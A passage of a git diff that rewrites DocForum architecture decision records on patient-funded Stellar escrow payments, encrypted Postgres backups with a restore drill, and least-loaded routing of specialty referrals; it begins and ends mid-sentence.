is asking the user's wallet to -> sign a transaction XDR that `docforum-core` prepared, and returning -> the signed XDR to `docforum-core`.** The frontend never builds, -> simulates or submits transactions, and never holds a private key. - -Done this way, every network-facing Stellar call still originates in -`docforum-core`, which was the point of the original rule. - -## Why - -- **The escrow starts protecting someone.** With the patient as payer, - the funds are the patient's until the facility fulfils the order, and - `refund_after` gives them a way out that doesn't depend on DocForum. - That's the "trust layer between patient and facility" ADR 0002 - intended, which custodial v1 couldn't deliver. -- **Less key custody for the platform.** The platform no longer holds - a payer key that funds everything. It keeps the releaser key (#25) - and a fee-sponsor account that can only pay network fees, which is a - much smaller target. -- **It removes ADR 0004's actual objection.** Splitting build/sign/submit - keeps all Stellar network access in the backend. -- **It builds on existing work instead of replacing it.** It uses the - same escrow contract and SDK and the same releaser model, and it keeps - the custodial path. - -### Alternatives considered - -- **Keep custodial only.** Simplest, but the escrow stays the platform - paying itself. Rejected as the long-term design. Kept as a fallback. -- **Frontend builds and submits transactions itself** (the usual - stand-alone dApp design). Rejected: it breaks hard rule 1 for no - benefit, and spreads contract ids, RPC configuration and error - handling across two repos. -- **Patient pays fiat, and an anchor (SEP-24) funds the escrow on their - behalf.** It removes the need for a wallet, which is the right - long-term user experience for most patients. Deferred: it needs a - partner anchor, KYC, and regional licensing decisions. It can be added - later as a third funding mode without changing this one. - -## Consequences - -- **Product risk: wallets are a barrier.** Most patients don't have a - Stellar wallet or USDC. That's why custodial stays, and why wallet - payment should launch as an option, not the default. Usage numbers, - not this ADR, should decide whether it becomes the default. -- **Privacy risk: health information can leak on-chain.** A payment from - a patient's wallet to a facility's wallet is public forever. If the - patient's address is ever linked to their identity, the facility it - paid (for example a specialised clinic) can reveal health information. - `condition_ref` stays an opaque id (escrow threat model T9), but that - doesn't hide who paid whom. The wallet-linking screen must say this - plainly. Before launch, decide whether facilities should get payouts - through a less identifying arrangement (for example a payout address - per facility category or per period). That's recorded here as an open - question, not solved. -- **New statuses.** `PaymentIntent` gains `awaiting_signature` and - `submitting`, plus a path back to `created` if the prepared - transaction expires unsigned. This overlaps with #24 (idempotent - funding). Do #24 first and build this on it. A Stellar transaction's - sequence number already means only one signed version can ever land. -- **Prepared transactions expire.** Soroban transactions have a short - validity window and a ledger-bounded auth expiry. If the patient takes - too long to sign, they prepare again. The UI must handle that as a - normal case, not an error. -- **SDK changes.** `@docforum/escrow-sdk` currently only signs with a - local `Keypair`. It needs a "prepare unsigned `create_escrow`" call - that returns XDR, and a "submit signed XDR" call. That's work in - `docforum-escrow`, and it's generic, so any consumer can use it. -- **Prerequisite.** `docforum-core` still depends on SDK 0.2.0, against - the older testnet contract. Upgrading to 0.3.0 (which has - `refund_after`) comes first. -- **Fee sponsorship needs limits.** The platform's fee-sponsor account - only fee-bumps transactions `docforum-core` prepared itself (the hash - check in step 4). Add a per-patient rate limit, so the sponsor can't - be drained by repeated prepare-and-submit calls. -- **Release triggering doesn't change.** Admin-triggered release remains - the interim, as in ADR 0004, until Phase 5 exists. - -## Implementation notes (2026-10-19) - -- **Step 5 β€” assets (issue #79):** `PaymentIntent` now stores - `assetCode` + `tokenContractId` and the amount in that asset's smallest - unit (`amountStroops` renamed to `amount` by a lossless column rename). - `PAYMENT_ASSETS` is the per-environment allowlist (testnet defaults: - native XLM SAC + testnet USDC SAC); intents in any other asset are - rejected. Issued assets require an authorised payee trustline before - funding (`PAYEE_TRUSTLINE_MISSING`), checked against Horizon; native XLM - needs none. The server never scales amounts, so it never assumes an - asset's decimals. -- **Step 6, first half β€” prepare (issue #80):** - `POST /payments/intents/:id/prepare` is patient-only, verifies the - intent belongs to the caller (`404` otherwise), requires a verified - `PatientWalletLink` (`409 WALLET_NOT_LINKED`), builds + simulates the - patient-as-payer `create_escrow` call, and moves the intent - `created β†’ awaiting_signature` with the prepared hash/XDR/expiry ledger - stored via a conditional update. Re-prepare while the transaction is - live returns the same transaction; expiry (`awaiting_signature β†’ - created`) is a normal case handled by a sweep job. `refund_after` is set - to the order expiry + grace; orders have no expiry field yet, so the - intent's `createdAt` is the documented anchor. -- **Still open:** `@docforum/escrow-sdk` 0.3.0 / docforum-escrow #58 (the - real prepare/submit calls), submit + fee-bump + hash check (step 6's - second half), SEP-10 wallet linking (step 4), and the web flow (steps - 7-8). Against SDK 0.2.0 the prepare endpoint returns `503 - ESCROW_SDK_PREPARE_UNSUPPORTED` rather than faking a transaction. - -## Implementation outline (to become issues once Accepted) - -In order: - -1. `docforum-core`: upgrade to `@docforum/escrow-sdk` 0.3.0 and the - current testnet contract. -2. `docforum-core`: #24 (idempotent funding). -3. `docforum-escrow`: SDK prepare-unsigned and submit-signed calls. -4. `docforum-core`: SEP-10 challenge/verify endpoints, and wallet links - for patients and facilities. -5. `docforum-core`: payment asset field and migration (USDC + XLM). -6. `docforum-core`: prepare/submit endpoints, new statuses, fee-bump - sponsorship and rate limit, `refund_after` set from order expiry. -7. `docforum-web`: amend hard rule 1 (this ADR), add Stellar Wallets Kit - and a wallet connect + SEP-10 link screen with the privacy notice. -8. `docforum-web`: patient "pay with wallet" flow, including the - expired-transaction case. -9. Both: end-to-end test on testnet (extends `docforum-web` #12). +# ADR 0005: Non-custodial payments v2 β€” patients fund escrows from their own Stellar wallet + +Status: Accepted (2026-10-19; implementation started β€” steps 5 and the +prepare half of 6 have landed, see Implementation notes) +Date: 2026-10-08 + +Builds on ADR 0004 (custodial v1), which stays in place as a fallback. +Depends on `docforum-escrow` ADR 0004 (`refund_after` timeout refund, +SDK 0.3.0). + +## Context + +ADR 0004 made payments custodial: `docforum-core` funds every escrow +from its own `PLATFORM_PAYER_SECRET`, and the patient never touches +Stellar. That made the integration real and testable, but the escrow +protects nobody in particular. The platform is both payer and releaser, +so the escrow amounts to the platform holding money for itself. + +ADR 0004 considered patient wallets and rejected them for one reason: +`docforum-web`'s hard rule 1 ("never calls `docforum-escrow` or Stellar +directly"). It assumed a patient-signed transaction meant the frontend +had to *construct* the transaction and send it to the network itself. + +That assumption doesn't hold. The usual Soroban dApp pattern separates +three steps that live in different places: + +1. **Build and simulate** the transaction. This needs an RPC connection, + the contract client and the auth entries. It can happen entirely in + `docforum-core`. +2. **Sign** it. This needs the patient's key, which lives in their + wallet extension (Freighter, xBull, etc.). The browser hands an + opaque XDR string to the wallet and gets a signed XDR string back. + No network call is involved. +3. **Submit** it and track the result. This needs an RPC connection + again, so it can also happen in `docforum-core`. + +Only step 2 has to happen in the browser, and it isn't a Stellar network +call. So a non-custodial design is possible without `docforum-web` ever +talking to Stellar RPC, Horizon or the escrow contract. + +Two other things changed since ADR 0004: + +- `docforum-escrow` now has an optional `refund_after` deadline (its + ADR 0004). With a patient as `payer`, that becomes a real patient + protection: if an order is never fulfilled and nobody acts, the patient + can get their money back without needing DocForum's cooperation. +- The escrow threat model (T1, T2) and `docforum-core` issue #25 already + question holding a single platform releaser key in an env var. Taking + the platform out of the *payer* role removes half of that key-custody + risk. + +## Decision + +Add a **patient-wallet funding mode** alongside the custodial one. A +`PaymentIntent` is funded by exactly one of the two modes. Custodial +stays available for patients without a wallet. + +### Roles on the escrow + +| Contract role | Custodial (ADR 0004) | Patient wallet (this ADR) | +|---|---|---| +| `payer` | platform payer identity | **patient's own wallet** | +| `payee` | facility's linked wallet | facility's linked wallet (unchanged) | +| `releaser` | platform releaser identity | platform releaser identity (unchanged; custody decided in #25) | +| `refund_after` | not set | **set**: order expiry plus a grace period | + +The releaser must stay the platform, never the patient. If the payer +were also the releaser, they could refund themselves after receiving +the service (escrow threat model T8). + +### Flow + +1. **Link a wallet (once).** The patient proves they control a Stellar + address by signing a challenge, using the SEP-10 Stellar Web + Authentication standard, with `docforum-core` as the server. The + verified address is stored in a patient-scoped wallet link. + Facilities link payout wallets the same way. That replaces today's + type-the-address form, so a facility can no longer register an + address it doesn't control or mistype one (see #26). +2. **Prepare.** `POST /payments/intents/:id/prepare` (patient-only, own + intent). `docforum-core` builds the `create_escrow` call with the + patient as `payer`, simulates it, assembles the auth entries, and + returns the unsigned transaction XDR. It stores the transaction's + hash and moves the intent to `awaiting_signature`. +3. **Sign.** `docforum-web` passes the XDR to the patient's wallet + through a wallet-connection library (Stellar Wallets Kit, which + covers Freighter, xBull, Albedo, Lobstr and others) and gets the + signed XDR back. +4. **Submit.** `POST /payments/intents/:id/submit` with the signed XDR. + `docforum-core` checks that it is exactly the transaction it prepared + (same hash, signed by the linked patient address, not expired). It + then wraps it in a **fee-bump transaction paid by the platform**, so + the patient only needs the payment asset, not XLM for fees. It + submits, waits for the result, and records `escrowId` and + `stellarTxHash` as `escrowed`. +5. **Release / refund.** Unchanged from ADR 0004: the platform releaser + acts, admin-triggered until Phase 5's `FulfillmentRecord` exists. In + addition, once `refund_after` passes, the patient can get their funds + back even if the platform doesn't act. + +### Payment asset + +v2 pays in **USDC** through its Stellar Asset Contract, so prices stay +stable for medical bills. Native XLM stays supported for testnet +development. `PaymentIntent` gains a token contract id and stores the +amount in that token's smallest unit. The current `amountStroops` field +is renamed, with a migration. *(Implemented by issue #79 β€” see +Implementation notes below.)* + +### Rule change in `docforum-web` + +Hard rule 1 is amended, not dropped: + +> This repo never calls Stellar RPC, Horizon, `docforum-escrow` or any +> contract directly. **The one exception is asking the user's wallet to +> sign a transaction XDR that `docforum-core` prepared, and returning +> the signed XDR to `docforum-core`.** The frontend never builds, +> simulates or submits transactions, and never holds a private key. + +Done this way, every network-facing Stellar call still originates in +`docforum-core`, which was the point of the original rule. + +## Why + +- **The escrow starts protecting someone.** With the patient as payer, + the funds are the patient's until the facility fulfils the order, and + `refund_after` gives them a way out that doesn't depend on DocForum. + That's the "trust layer between patient and facility" ADR 0002 + intended, which custodial v1 couldn't deliver. +- **Less key custody for the platform.** The platform no longer holds + a payer key that funds everything. It keeps the releaser key (#25) + and a fee-sponsor account that can only pay network fees, which is a + much smaller target. +- **It removes ADR 0004's actual objection.** Splitting build/sign/submit + keeps all Stellar network access in the backend. +- **It builds on existing work instead of replacing it.** It uses the + same escrow contract and SDK and the same releaser model, and it keeps + the custodial path. + +### Alternatives considered + +- **Keep custodial only.** Simplest, but the escrow stays the platform + paying itself. Rejected as the long-term design. Kept as a fallback. +- **Frontend builds and submits transactions itself** (the usual + stand-alone dApp design). Rejected: it breaks hard rule 1 for no + benefit, and spreads contract ids, RPC configuration and error + handling across two repos. +- **Patient pays fiat, and an anchor (SEP-24) funds the escrow on their + behalf.** It removes the need for a wallet, which is the right + long-term user experience for most patients. Deferred: it needs a + partner anchor, KYC, and regional licensing decisions. It can be added + later as a third funding mode without changing this one. + +## Consequences + +- **Product risk: wallets are a barrier.** Most patients don't have a + Stellar wallet or USDC. That's why custodial stays, and why wallet + payment should launch as an option, not the default. Usage numbers, + not this ADR, should decide whether it becomes the default. +- **Privacy risk: health information can leak on-chain.** A payment from + a patient's wallet to a facility's wallet is public forever. If the + patient's address is ever linked to their identity, the facility it + paid (for example a specialised clinic) can reveal health information. + `condition_ref` stays an opaque id (escrow threat model T9), but that + doesn't hide who paid whom. The wallet-linking screen must say this + plainly. Before launch, decide whether facilities should get payouts + through a less identifying arrangement (for example a payout address + per facility category or per period). That's recorded here as an open + question, not solved. +- **New statuses.** `PaymentIntent` gains `awaiting_signature` and + `submitting`, plus a path back to `created` if the prepared + transaction expires unsigned. This overlaps with #24 (idempotent + funding). Do #24 first and build this on it. A Stellar transaction's + sequence number already means only one signed version can ever land. +- **Prepared transactions expire.** Soroban transactions have a short + validity window and a ledger-bounded auth expiry. If the patient takes + too long to sign, they prepare again. The UI must handle that as a + normal case, not an error. +- **SDK changes.** `@docforum/escrow-sdk` currently only signs with a + local `Keypair`. It needs a "prepare unsigned `create_escrow`" call + that returns XDR, and a "submit signed XDR" call. That's work in + `docforum-escrow`, and it's generic, so any consumer can use it. +- **Prerequisite.** `docforum-core` still depends on SDK 0.2.0, against + the older testnet contract. Upgrading to 0.3.0 (which has + `refund_after`) comes first. +- **Fee sponsorship needs limits.** The platform's fee-sponsor account + only fee-bumps transactions `docforum-core` prepared itself (the hash + check in step 4). Add a per-patient rate limit, so the sponsor can't + be drained by repeated prepare-and-submit calls. +- **Release triggering doesn't change.** Admin-triggered release remains + the interim, as in ADR 0004, until Phase 5 exists. + +## Implementation notes (2026-10-19) + +- **Step 5 β€” assets (issue #79):** `PaymentIntent` now stores + `assetCode` + `tokenContractId` and the amount in that asset's smallest + unit (`amountStroops` renamed to `amount` by a lossless column rename). + `PAYMENT_ASSETS` is the per-environment allowlist (testnet defaults: + native XLM SAC + testnet USDC SAC); intents in any other asset are + rejected. Issued assets require an authorised payee trustline before + funding (`PAYEE_TRUSTLINE_MISSING`), checked against Horizon; native XLM + needs none. The server never scales amounts, so it never assumes an + asset's decimals. +- **Step 6, first half β€” prepare (issue #80):** + `POST /payments/intents/:id/prepare` is patient-only, verifies the + intent belongs to the caller (`404` otherwise), requires a verified + `PatientWalletLink` (`409 WALLET_NOT_LINKED`), builds + simulates the + patient-as-payer `create_escrow` call, and moves the intent + `created β†’ awaiting_signature` with the prepared hash/XDR/expiry ledger + stored via a conditional update. Re-prepare while the transaction is + live returns the same transaction; expiry (`awaiting_signature β†’ + created`) is a normal case handled by a sweep job. `refund_after` is set + to the order expiry + grace; orders have no expiry field yet, so the + intent's `createdAt` is the documented anchor. +- **Still open:** `@docforum/escrow-sdk` 0.3.0 / docforum-escrow #58 (the + real prepare/submit calls), submit + fee-bump + hash check (step 6's + second half), SEP-10 wallet linking (step 4), and the web flow (steps + 7-8). Against SDK 0.2.0 the prepare endpoint returns `503 + ESCROW_SDK_PREPARE_UNSUPPORTED` rather than faking a transaction. + +## Implementation outline (to become issues once Accepted) + +In order: + +1. `docforum-core`: upgrade to `@docforum/escrow-sdk` 0.3.0 and the + current testnet contract. +2. `docforum-core`: #24 (idempotent funding). +3. `docforum-escrow`: SDK prepare-unsigned and submit-signed calls. +4. `docforum-core`: SEP-10 challenge/verify endpoints, and wallet links + for patients and facilities. +5. `docforum-core`: payment asset field and migration (USDC + XLM). +6. `docforum-core`: prepare/submit endpoints, new statuses, fee-bump + sponsorship and rate limit, `refund_after` set from order expiry. +7. `docforum-web`: amend hard rule 1 (this ADR), add Stellar Wallets Kit + and a wallet connect + SEP-10 link screen with the privacy notice. +8. `docforum-web`: patient "pay with wallet" flow, including the + expired-transaction case. +9. Both: end-to-end test on testnet (extends `docforum-web` #12). diff --git a/docs/adr/0007-postgres-backups-and-restore-drill.md b/docs/adr/0007-postgres-backups-and-restore-drill.md index 32533944..7a4fd4b9 100644 --- a/docs/adr/0007-postgres-backups-and-restore-drill.md +++ b/docs/adr/0007-postgres-backups-and-restore-drill.md @@ -1,67 +1,67 @@ -# ADR 0007: Postgres backups and a tested restore drill - -**Status:** Accepted -**Date:** 2026-10-08 -**Phase:** 9 -- Deploy & CI -**Related:** ADR 0003 (preview database has no backups), issue #22 (deployment target) - -## Context - -The preview database has no backups (ADRΙ€0003) and has already been - -deleted and recreated once (2026-10-07 renewal). Production can't work that - -way. Backups that have never been restored are a hope, not a plan. This - -ADR records the backup strategy and the restore drill that proves it works. - -## Decision - -- We take **encrypted logical backups** with `pg_dump``, encrypted at - - rest with `pgp --symmetric` (AES-256). The dump is piped straight - - into `gpg`, so the plaintext dump never touches disk. - -- Backups run on a schedule (daily in CI and on the host) with a - - **14-day retention policy** (`BACKUP_RETENTION_DAYS`). - -- A **restore drill** runs on a schedule in CI against staging backups. It - restores the latest backup into a scratch database and runs integrity - checks: migration count, row counts for `users` and `bookings`, and a - sample booking join query. - -- Failure of the drill alerts in CI (GitHub Actions failure notification). - -## RPO / RTO targets - -| Metric | Target | Measured | -|-------|--------|----------| -| RPO (max data loss) | 24 hours | daily backups -- worst case 24h | -| RPO (best case) | 0 | daily 03:00 UTC | -| RPO (continuous) | -- | not yet -- platform PITR is a future item | -| RTO (target) | 60 minutes | -- | -| RRO (measured restore time) | -- | ~10s for the drill dataset; scales with database size | - -Measured restore time is printed by `scripts/restore-drill.sh` as - -`[restore-drill] measured restore time: s`. Update this table when -the measured time on real staging data changes materially. - -## Safety guards - -- `RESTORE_CONFIRM=1` is required to acknowledge the restore is a drill. -- The target database name must end in `_drill` or `_scratch`. -- The target must not be the source database. -- Encryption is mandatory: the backup script refuses to run without - - `BACKUP_ENCRYPTION_KEY`. - -## Consequences - -- Restoring is proven regularly, not just assumed. -- Backups contain PHI; the encryption key lives in the CI secrets - - store / host env, not in the repo. -- The drill runs on a schedule in CI and alerts on failure. +# ADR 0007: Postgres backups and a tested restore drill + +**Status:** Accepted +**Date:** 2026-10-08 +**Phase:** 9 -- Deploy & CI +**Related:** ADR 0003 (preview database has no backups), issue #22 (deployment target) + +## Context + +The preview database has no backups (ADRΙ€0003) and has already been + +deleted and recreated once (2026-10-07 renewal). Production can't work that + +way. Backups that have never been restored are a hope, not a plan. This + +ADR records the backup strategy and the restore drill that proves it works. + +## Decision + +- We take **encrypted logical backups** with `pg_dump``, encrypted at + + rest with `pgp --symmetric` (AES-256). The dump is piped straight + + into `gpg`, so the plaintext dump never touches disk. + +- Backups run on a schedule (daily in CI and on the host) with a + + **14-day retention policy** (`BACKUP_RETENTION_DAYS`). + +- A **restore drill** runs on a schedule in CI against staging backups. It + restores the latest backup into a scratch database and runs integrity + checks: migration count, row counts for `users` and `bookings`, and a + sample booking join query. + +- Failure of the drill alerts in CI (GitHub Actions failure notification). + +## RPO / RTO targets + +| Metric | Target | Measured | +|-------|--------|----------| +| RPO (max data loss) | 24 hours | daily backups -- worst case 24h | +| RPO (best case) | 0 | daily 03:00 UTC | +| RPO (continuous) | -- | not yet -- platform PITR is a future item | +| RTO (target) | 60 minutes | -- | +| RRO (measured restore time) | -- | ~10s for the drill dataset; scales with database size | + +Measured restore time is printed by `scripts/restore-drill.sh` as + +`[restore-drill] measured restore time: s`. Update this table when +the measured time on real staging data changes materially. + +## Safety guards + +- `RESTORE_CONFIRM=1` is required to acknowledge the restore is a drill. +- The target database name must end in `_drill` or `_scratch`. +- The target must not be the source database. +- Encryption is mandatory: the backup script refuses to run without + + `BACKUP_ENCRYPTION_KEY`. + +## Consequences + +- Restoring is proven regularly, not just assumed. +- Backups contain PHI; the encryption key lives in the CI secrets + + store / host env, not in the repo. +- The drill runs on a schedule in CI and alerts on failure. diff --git a/docs/adr/0008-referral-routing-without-target-doctor.md b/docs/adr/0008-referral-routing-without-target-doctor.md index 401c9cbf..0606fd63 100644 --- a/docs/adr/0008-referral-routing-without-target-doctor.md +++ b/docs/adr/0008-referral-routing-without-target-doctor.md @@ -1,208 +1,208 @@ -# ADR 0008: A specialty-only referral is routed at creation to the least-loaded eligible doctor - -Status: Accepted - -## Context - -ARCHITECTURE.md Β§6.1.2 flagged the gap directly: a doctor referring a -patient to "a cardiologist" rather than to a named doctor needs a real -rule for which cardiologist's queue the referral lands in, or referrals -will pile up with nobody responsible for them. PRD Β§8.2.2 asks the same -question from the patient's side ("zero verified doctors in the -specialty β€” what happens?"), and PRD Β§8.2.1 asks what happens when a -referred patient can find no specialist who will actually see them. - -The first Phase 3 slice (#5) answered this by requiring a concrete, -verified `target_doctor_id`. That was a scope cut, not a decision: it -made the unassigned state impossible to construct instead of deciding who -receives an unassigned referral, and it left PRD Β§8.2.2's "waiting for a -specialist" state unreachable. This ADR takes the decision. - -Constraints that shaped it: - -- **It must be implementable now.** There is still no doctor-discovery - surface (issue #23 owns the public catalog and the specialty - management CRUD), no availability-based matching, and no notification - layer (Phase 6). A rule that needs any of those is not a v1 rule. -- **No new schema, and no nullable target.** Issue #5's shape β€” - `Referral.targetDoctorId` NOT NULL β€” is the thing that makes "nobody - owns this referral" impossible. Prefer a rule that keeps it. -- **It must terminate.** Every referral must end up with exactly one - accountable doctor at the moment it exists, or not be created. -- **It must handle zero candidates.** The rule cannot assume a specialist - exists; "zero verified doctors in this specialty" is a normal early - network state, not an exceptional one. - -## Decision - -**A referral may name a target doctor *or* a target specialty. A -specialty-only referral is resolved to a concrete doctor at creation, -inside the same transaction, by a deterministic least-loaded rule. The -column stays NOT NULL; nothing is ever created unassigned.** - -### 1. Request shape - -```jsonc -// still supported, unchanged: -{ "sourceConsultationId": "…", "targetDoctorId": "d1", "targetSpecialtyId": "cardiology", "snapshotNotes": "…" } -// new β€” routing decides the doctor: -{ "sourceConsultationId": "…", "targetSpecialtyId": "cardiology", "snapshotNotes": "…" } -``` - -At least one of `targetDoctorId` / `targetSpecialtyId` is required; both -absent is a `400` at validation. When `targetDoctorId` is present, the -request behaves exactly as before β€” the rule never overrides an explicit -choice. - -### 2. Eligibility predicate (one predicate, both paths) - -A doctor is eligible to receive a referral when all of these hold: - -- `DoctorProfile.verificationStatus = 'verified'` (PRD FR-3: manual, - admin-gated verification); -- the doctor holds `targetSpecialtyId` (`DoctorSpecialty` link); -- the doctor is not the referring doctor (self-referral is a `422` on the - manual path; excluded outright on the routed path); -- the doctor's owning account is not deactivated (`User.deactivatedAt is - null`) β€” a deactivated doctor cannot log in, so routing to them would - create the very dead end this ADR exists to prevent; -- the doctor was not explicitly named by another target in the same - referral batch (Β§5). - -The routed path applies the same verification and specialty gates the -manual path applies (`assertDoctorVerified` / -`assertDoctorVerifiedInSpecialty`), so there is no second definition of -"qualified" to drift. - -### 3. Selection rule - -Among eligible candidates, choose the doctor with the **fewest active -referrals currently targeted at them**, where active = status -`pending` or `accepted`: - -```sql -SELECT target_doctor_id, count(*) - FROM "Referral" - WHERE target_doctor_id IN (…eligible ids…) - AND status IN ('pending', 'accepted') - GROUP BY target_doctor_id; -``` - -A doctor absent from that result has a load of `0`. Ties are broken by -`DoctorProfile.id` ascending, so the same set of candidates with the same -loads always produces the same choice β€” an unmeasurable "fairness" is not -part of the rule, determinism is. - -Terminal referrals (`completed`, `declined`, `expired`, `cancelled`) do -not count: load means outstanding work, and a referral that has finished -should stop steering future routing. - -### 4. Zero eligible candidates - -Creation fails with `422` (machine-readable -`code: "REFERRAL_NO_ELIGIBLE_TARGET"`, so the referring doctor's UI can -say "no specialist available" rather than render a generic failure) and a -message naming the reason; the whole batch rolls back and **no `Referral` -row is written**. There is no "unassigned" record, no retry queue and no -placeholder doctor in v1. - -Consequence, stated plainly rather than papered over: PRD Β§8.2.2's -"waiting for a specialist" state is still not built. The patient never -holds a referral with no owner β€” the referring doctor is told at the -moment of the referral that nobody is available, which is the actionable -place to learn it. Building the waiting state would require assignment -*after* creation, which is the thing Β§2 forbids. - -### 5. Batches (issue #66) - -Targets are resolved in order, and each routed target excludes: the -referring doctor, every doctor explicitly named anywhere in the batch, -and every doctor already resolved for an earlier target in the batch. -This makes a batch order-independent for explicit targets and prevents a -"cardiology (any) + Dr A" batch from failing the duplicate-target check -just because routing happened to pick Dr A for the specialty. A routed -target that finds no remaining candidate after exclusions fails the whole -batch with the same `422` β€” all-or-none, as #66 established. - -### 6. Everything downstream is unchanged - -The resolved `targetDoctorId` is an ordinary `Referral.targetDoctorId` -from that point on: the loop walk (#65) still runs against it and still -*flags* a repeated doctor/specialty for the admin queue rather than -blocking, accept (#7) still books the target doctor's slot, the cascade -(#67) is untouched, and the admin queue/reassign (#68) remains the human -override. `targetSpecialtyId` stays the denormalised label the loop guard -and admin views read. - -## Why least-loaded - -- **Fair on the dimension that matters.** The failure this rule exists to - prevent is a specialist drowning in a queue nobody assigned them. Open - slot count is a better proxy for capacity but is unavailable to - routing today (no availability-aware matching, and a doctor with no - published slots would be excluded from routing entirely β€” a worse dead - end than an uneven queue). -- **No new state to keep correct.** Round-robin needs a per-specialty - cursor: a new table, a transaction to advance it, and a decision about - what a rolled-back creation does to the cursor. Least-loaded is one - aggregate query over rows that already exist, so it cannot drift out of - sync with reality. This is the boring option, deliberately. -- **Deterministic and explainable.** "Why did this land on Dr B?" has a - one-sentence answer the admin queue can show, and the tie-break makes - test assertions exact instead of probabilistic. - -Rejected alternatives: - -- **Round-robin per specialty** β€” perfectly even, but needs persisted - cursor state and still ignores actual load (even distribution β‰  fair - distribution when doctors work at different rates). -- **Patient chooses the specialist from a list** β€” requires a doctor - discovery surface (issue #23) and a referral state where the target is - unset, i.e. exactly the nullable column Β§2 rules out. It also moves a - clinical hand-off decision onto the patient. Revisit only together with - the "waiting for a specialist" state. -- **Keep requiring an explicit target doctor (status quo)** β€” leaves - Β§6.1.2 open and forces a referring doctor to guess a UUID with no way - to enumerate eligible specialists. Not a decision. - -## Consequences - -- **Where it lives:** the pure rule is - `backend/src/modules/referrals/routing.ts`; resolution (eligibility + - load + choice) is `resolveTargetDoctor` in - `backend/src/modules/referrals/services/index.ts`; eligibility is - `doctors/services.listEligibleReferralTargets` (never a direct - `DoctorSpecialty` read from the referrals module). Tests: - `tests/unit/referral-routing.test.ts` (the rule) and - `tests/integration/referral-routing.test.mts` (least-loaded choice, - zero candidates, self/deactivated exclusions, batch exclusions). -- A referring doctor who names only a specialty gets a doctor back in the - creation response (`targetDoctorId`); the API returns the referral row - with the resolved target, so no extra round trip is needed to learn who - received it. -- **Load-balancing is approximate under concurrency.** Two creations - resolving the same specialty at the same instant can both read the same - loads and pick the same doctor, and both succeed. There is no unique - constraint or advisory lock: the referral count is a soft signal, the - drift is one referral, and serialising referral creation on a specialty - is not worth the contention. If this ever becomes measurably unfair, - the place to fix it is this rule, not the schema. -- Routing reads `DoctorProfile` through the doctors module's service and - `Referral` through this module's repository β€” no cross-module table - access (ARCHITECTURE_ESSENTIALS.md hard rule 4). -- There is no "why this doctor" audit row: referral *creation* is still - unaudited (ARCHITECTURE.md Β§6.2.4 lists that gap). When creation - auditing lands, the routing inputs (candidate set size, chosen load) - belong in its metadata β€” that is the natural place to record it, not a - second log. -- Deferred, with a trigger for revisiting: availability-aware routing - (only doctors with open slots) once doctor-side discovery/availability - exists; a per-doctor "accepting referrals" switch, which is the honest - long-term replacement for the account-deactivation exclusion; and the - "waiting for a specialist" queue if a real clinical workflow needs a - referral to exist before an owner does. -- PRD Β§8.2.1's dead end narrows but is not closed: a routed referral can - still sit pending because the chosen doctor never publishes a slot. - That is issue #8's time-based expiry (and the admin queue, #68), not a - routing problem β€” this ADR deliberately does not try to solve it by - routing only to doctors with slots. +# ADR 0008: A specialty-only referral is routed at creation to the least-loaded eligible doctor + +Status: Accepted + +## Context + +ARCHITECTURE.md Β§6.1.2 flagged the gap directly: a doctor referring a +patient to "a cardiologist" rather than to a named doctor needs a real +rule for which cardiologist's queue the referral lands in, or referrals +will pile up with nobody responsible for them. PRD Β§8.2.2 asks the same +question from the patient's side ("zero verified doctors in the +specialty β€” what happens?"), and PRD Β§8.2.1 asks what happens when a +referred patient can find no specialist who will actually see them. + +The first Phase 3 slice (#5) answered this by requiring a concrete, +verified `target_doctor_id`. That was a scope cut, not a decision: it +made the unassigned state impossible to construct instead of deciding who +receives an unassigned referral, and it left PRD Β§8.2.2's "waiting for a +specialist" state unreachable. This ADR takes the decision. + +Constraints that shaped it: + +- **It must be implementable now.** There is still no doctor-discovery + surface (issue #23 owns the public catalog and the specialty + management CRUD), no availability-based matching, and no notification + layer (Phase 6). A rule that needs any of those is not a v1 rule. +- **No new schema, and no nullable target.** Issue #5's shape β€” + `Referral.targetDoctorId` NOT NULL β€” is the thing that makes "nobody + owns this referral" impossible. Prefer a rule that keeps it. +- **It must terminate.** Every referral must end up with exactly one + accountable doctor at the moment it exists, or not be created. +- **It must handle zero candidates.** The rule cannot assume a specialist + exists; "zero verified doctors in this specialty" is a normal early + network state, not an exceptional one. + +## Decision + +**A referral may name a target doctor *or* a target specialty. A +specialty-only referral is resolved to a concrete doctor at creation, +inside the same transaction, by a deterministic least-loaded rule. The +column stays NOT NULL; nothing is ever created unassigned.** + +### 1. Request shape + +```jsonc +// still supported, unchanged: +{ "sourceConsultationId": "…", "targetDoctorId": "d1", "targetSpecialtyId": "cardiology", "snapshotNotes": "…" } +// new β€” routing decides the doctor: +{ "sourceConsultationId": "…", "targetSpecialtyId": "cardiology", "snapshotNotes": "…" } +``` + +At least one of `targetDoctorId` / `targetSpecialtyId` is required; both +absent is a `400` at validation. When `targetDoctorId` is present, the +request behaves exactly as before β€” the rule never overrides an explicit +choice. + +### 2. Eligibility predicate (one predicate, both paths) + +A doctor is eligible to receive a referral when all of these hold: + +- `DoctorProfile.verificationStatus = 'verified'` (PRD FR-3: manual, + admin-gated verification); +- the doctor holds `targetSpecialtyId` (`DoctorSpecialty` link); +- the doctor is not the referring doctor (self-referral is a `422` on the + manual path; excluded outright on the routed path); +- the doctor's owning account is not deactivated (`User.deactivatedAt is + null`) β€” a deactivated doctor cannot log in, so routing to them would + create the very dead end this ADR exists to prevent; +- the doctor was not explicitly named by another target in the same + referral batch (Β§5). + +The routed path applies the same verification and specialty gates the +manual path applies (`assertDoctorVerified` / +`assertDoctorVerifiedInSpecialty`), so there is no second definition of +"qualified" to drift. + +### 3. Selection rule + +Among eligible candidates, choose the doctor with the **fewest active +referrals currently targeted at them**, where active = status +`pending` or `accepted`: + +```sql +SELECT target_doctor_id, count(*) + FROM "Referral" + WHERE target_doctor_id IN (…eligible ids…) + AND status IN ('pending', 'accepted') + GROUP BY target_doctor_id; +``` + +A doctor absent from that result has a load of `0`. Ties are broken by +`DoctorProfile.id` ascending, so the same set of candidates with the same +loads always produces the same choice β€” an unmeasurable "fairness" is not +part of the rule, determinism is. + +Terminal referrals (`completed`, `declined`, `expired`, `cancelled`) do +not count: load means outstanding work, and a referral that has finished +should stop steering future routing. + +### 4. Zero eligible candidates + +Creation fails with `422` (machine-readable +`code: "REFERRAL_NO_ELIGIBLE_TARGET"`, so the referring doctor's UI can +say "no specialist available" rather than render a generic failure) and a +message naming the reason; the whole batch rolls back and **no `Referral` +row is written**. There is no "unassigned" record, no retry queue and no +placeholder doctor in v1. + +Consequence, stated plainly rather than papered 